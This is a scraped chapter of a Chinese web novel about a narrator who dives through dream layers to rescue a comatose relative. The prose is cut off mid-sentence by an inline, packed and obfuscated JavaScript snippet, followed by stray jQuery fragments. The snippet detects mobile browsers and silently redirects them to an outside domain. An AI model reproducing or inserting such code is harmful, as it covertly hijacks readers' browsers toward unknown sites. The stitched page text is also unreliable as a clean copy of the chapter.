54. 水底寻人

作品:《我在梦里打黑工

    她一愣,而后蹙起的眉头舒展开,“哧”地一声笑出来。她伸出一个指头,戳了戳我的额头,我人在水里,被她戳得往下沉了几分。我其实有点害怕,因为这水也太黑了,我一感觉到自己往下掉,不由自主地就开始扑腾。我扑腾得她也害怕,她又连忙抓住我的手,她的手太小,抓我的手腕有些扣不住,为了弥补体型上的差距,她手上分外用力。这种被紧紧抓住的感觉很好,虽然我迟早要沉下去找人,但我不想让她想起这一点。我慢悠悠地在她看不见的水面之下踩水,保持着一个要沉不沉的悬浮状态。


    她趴在地上看我:“底下冷吗?”


    “还行。”


    她好像想摸一下水的温度,但又没敢松开抓我的手,我的心思已经完全不在水里,我把它忘了。她小心翼翼的,像是在害怕一不小心就会把我弄丢。回想过去,我何曾受人这样珍视过,虽然希冀她像我喜欢她一样喜欢我,有点异想天开,有点白日做梦,但她至少是在意我的。


    我带着她的手去摸地面下的水,但那层看不见的玻璃地板,随着她的手靠近,瞬间就铺展开。她无论怎么往下探,都无法把手伸到玻璃之下。


    她看着玻璃下方我的手,短暂的怔忪过后,又抬头看我。“你这次真得自己下去了,我陪不了你。”她说。


    “没事,我不怕。”我装的,不怕才怪,但我总不能撒娇说我怕,因为她真的不可能下来。我不知道这是不是触及到她的某些伤心往事,她看着这层地面的眼神有些哀伤,我想我最好还是赶紧下去,捞人,回来,别在这里多做逗留。


    “那我放手了?”她说,又嘱咐道,“你小心点。”


    “嗯。”


    “有什么不对的就叫我。我把你摇醒。”


    “嗯。”


    “那我放手了?”


    我点点头。


    她松开了手,我停下踩水的动作,我笔直地立在水中,一停下来,我就直直地往下沉。我其实是害怕的,但我想想珩夹在我头上的发卡,心里又好像找到些着落。没沉下去多深,不知是不是幻觉,我好像听见她在喊我。


    不管了,我往上游,我落得不深,很快我就一下窜到水面上,从地板冒出一个头。


    “你刚刚是在叫我吗?”我说。


    她很突然地靠近我,之后张开怀抱,抱住了我冒出来的脑袋和小半截身体。“你能听见我喊你就好,你能回来就好。”她松开我,又跪坐在地上,伸手摸摸我的头顶,“要是实在找不到,你就回来。”


    “你放心,我会回来。”


    “你一定要回来。”


    “好,我答应你。”


    我说完这句话,她才慢慢地松了手。我朝她挥挥手,一转身扎到水里去。我往下游,水里很暗,但我没游多久,就看见很远处似乎有个人影在下沉。人是有光亮的,他在幽暗的水中发光,我追着他所在的深处就游了过去,我一边游一边大喊:“六叔!六叔!是你吗?”


    人影好像变换了一下姿势,但依然在下落。


    我跟他的速度是一样的,甚至我可能比他慢——我迟早比他慢。我在正常睡眠的第一层梦境里,而他在往更深沉的昏睡状态沉。我想我要跌入下一层,甚至再往下跌一层,我才能比他更快,才能追上我和他之间漫长的时间。


    我努力去回想当时珩把我推入下一层梦境时,那种神经元被级联点亮,黑暗的脑区一片闪光的感觉。


    在我抓到跌破梦和更深的梦之间的楼板的感觉时,我感觉到我某片遥远的脑区亮了,之后它抽痛了一下,像是熬了个大夜过度用脑的感觉,很亢奋,但大脑好像在膨胀,挤得头很疼。


    我忽然开始加速。


    一层梦境是九倍速,除了上次被十四岁的自己往陷阱里推,我没试过以这么快的速度在时间里穿行,但远处的人影一点没变大——他还在离我很远很远的地方。我在水里又大喊道:“六叔!六叔!听得到吗!六叔!”人影又动了动。我到底是在靠近他了,我看清了他的动作。他至少是听得到的,他往我这边探了探,好像要试着看看我是谁。但他无法控制自己下落的趋势,他也就保持着这个想要靠近我的姿势,继续往下坠。


    这样不行,我还是太慢,虽然现在我的头已经有点难受,但根据我上次被十四岁臭初中生推下去的经历来看,我的身体能耐受的梦境层数也许能到两位数。疼是疼,但疼不死,疼不死就再试试。我集中注意力,又开始回想后背击穿楼板的感觉。


    第三层。


    我感觉自己在飞,水在我耳边飞快地掠过,头疼得像要爆炸,但那边的人影变得更近,在八十一倍的加速过后,我终于开始肉眼可见地靠近他。我再一次大喊:“六叔!”


    那边人应了一声:“是在叫我吗?”


    “你是六叔吗?”我喊。


    “是啊,你是在叫我吧,我是匡五六,”他说,“你是谁啊?”


    他不认识我。他没见过我。我只好喊:“我叫江夷。司徒阿姨,还有你们的女儿,还有珩,她们让我来找你的。”


    “啊?”他还有点惊讶,“我还没死呢?”


    我一路加速,飞快地在水里潜行,他的身影愈发清晰,现在的他比司徒阿姨记忆里的他要瘦很多,面色晦暗,黄得发黑。只是他眼睛还很亮,人很精神,看来昏迷时大脑确实比醒着快,听他说话,我一点没意识到这其实是个在现实中彻底昏迷过去的重病人。他还问我:“你怎么能游的?你教教我,我一直在往下沉,都沉好几天了,一点也动不了。”


    “这个等会再教你。”我一听到他说已经沉了好几天,心觉不妙,因为他实际上昏迷过去的时间只有不到四个小时。我游到他身边,他很瘦,我一手就能把人抱住,之后我转身往上升。


    我已经沉到很深很深处,光很少,这里几乎像海里的无光层,环境很空旷,但什么都看不见,人落在其中,有种茫茫的孤寂感。我怕黑,怕没有人的地方,我抱着六叔,尽可能快地往上游。六叔对他的现况和乱成一锅粥的家里没有什么概念,七十岁的老头退回童蒙状态,这时候还在我旁边“哇”,好像在玩海底观光过山车。


    我恨不得马上看见珩,恨不得马上回到她身边,我越是着急,这段路显得越长,我感觉我在黑暗的海里游了好久,才终于看到很上方水面照进来的光线,和珩悬浮在水中的身影。对于我和六叔来说,那层玻璃地面不存在,我游得太快,像个飞鱼一样带着六叔,嗖地从水里窜出来。


    我们飞出来的时候珩还在盯着水底看,我们差点要撞到别人的电梯井上,扰了其他ICU病人的清梦,我喊:“珩!我们在这里呢!”


    她闻声转过来,她看起来很紧张,而在看见我们的时候,她的眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425523|177656||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    睛又好像有点湿漉漉的。这场面挺温馨的,假如我和六叔没有还在失控地高速往上飞的话。


    “你去哪啊?”她总算是发现问题了。


    “救命,我开了八十一倍速,怎么停下来啊?”我喊。


    我们已经飞离地面好些距离,变得好渺小的她似乎是被我惹笑了:“你快发一个你要醒来的指令!”


    好的,我要醒来,我要醒来,我要醒来……


    速度果然慢下来了,之后我看见她。她其实飞得很快,但她看起来很从容,她就从离我很远的玻璃地面上,冉冉地升到我的身边,她从水里游上来的时候,绿色的头发被水流拢到脑后,几乎像一捧松软的海草。梦里她的手和现实中一样冷,她一手抓住我的手腕,终于把我和六叔两个鱼雷定住。


    六叔认得她:“你是阿珩吧?秀菊和我说过你。”


    珩定住我们的那一刻,我们来时的电梯井就重新出现,我们终于是在速度可控的情况下从梦中醒来了,真是可喜可贺。珩和六叔打招呼:“六叔好,我是阿珩。”


    他的行为像个小孩,似乎有些好奇地在端详她,看了一小会儿,他说:“你样子怎么好像一点没变啊?我上次见你的时候,你也长这样,只不过那时候你好像是长头发。是吗?我上次见你是什么时候的事了?”


    珩没回答他这个问题,因为我们已经快要回到现实中了。水面就在头顶触手可及的地方,我们在梦里游过一千里的距离,但现实中只过了十分钟。司徒阿姨和女儿还在六叔的病床旁边,如果我们这时候把他带出去,他甚至可以短暂地在现实中醒过来,和她们两个人见面。


    我和珩的想法非常一致,我们一人拉着六叔一边手,电梯到头的时候,我们谁也没减速,我们就保持着第一层梦境的九倍速,从水里窜了出来。


    不对……


    不对……


    我好像被魇住了。


    我看到了医院ICU门口的家属等候区,画面很模糊,而眼皮很重,我要很努力很努力地用上我所有的意志力,才能勉强抬起些许眼皮,以看见现实中的世界。我好像是歪在等候区的座椅上睡着了,金属椅背很矮,为了让颈椎枕在椅背上,我不自觉地摆成了一个反人体工学的姿势,因此现在身上的肌肉都僵住,一点也动不了。珩在我旁边说话。


    “我好像醒不过来。”她说。


    “我也是。”


    “我试试松手?”她说,“你把六叔抓紧了。”


    我说好,之后我感觉到抓住六叔的那边手明显一沉,我几乎要被他拽回梦里,眼睛有一瞬间已经难以抑制地闭上了,我好不容易才把重得像个石门一样的眼皮重新推开。再睁开眼的时候,珩的身影就在我的面前。


    她的神情看起来有点凝重。


    六叔沉重的身体忽然又变轻了。珩回到了梦境里。她什么都没说,但我已经明白了。


    她醒不来是因为牵着六叔,我醒不来大概也是这个原因。六叔的病情已经难以逆转,他已经不可能真正地醒过来,所以我们没有办法把他的意识从深沉的梦境里带回来。珩和我钻回水里,六叔站在水面下,似懂非懂地看我们。


    “阿菊呢?她会来吗?阿女来了吗?”他问。


    “她们都在,”珩思索了好几秒,艰难地回答,“我和江老师想想办法,看看能不能让你们见个面。”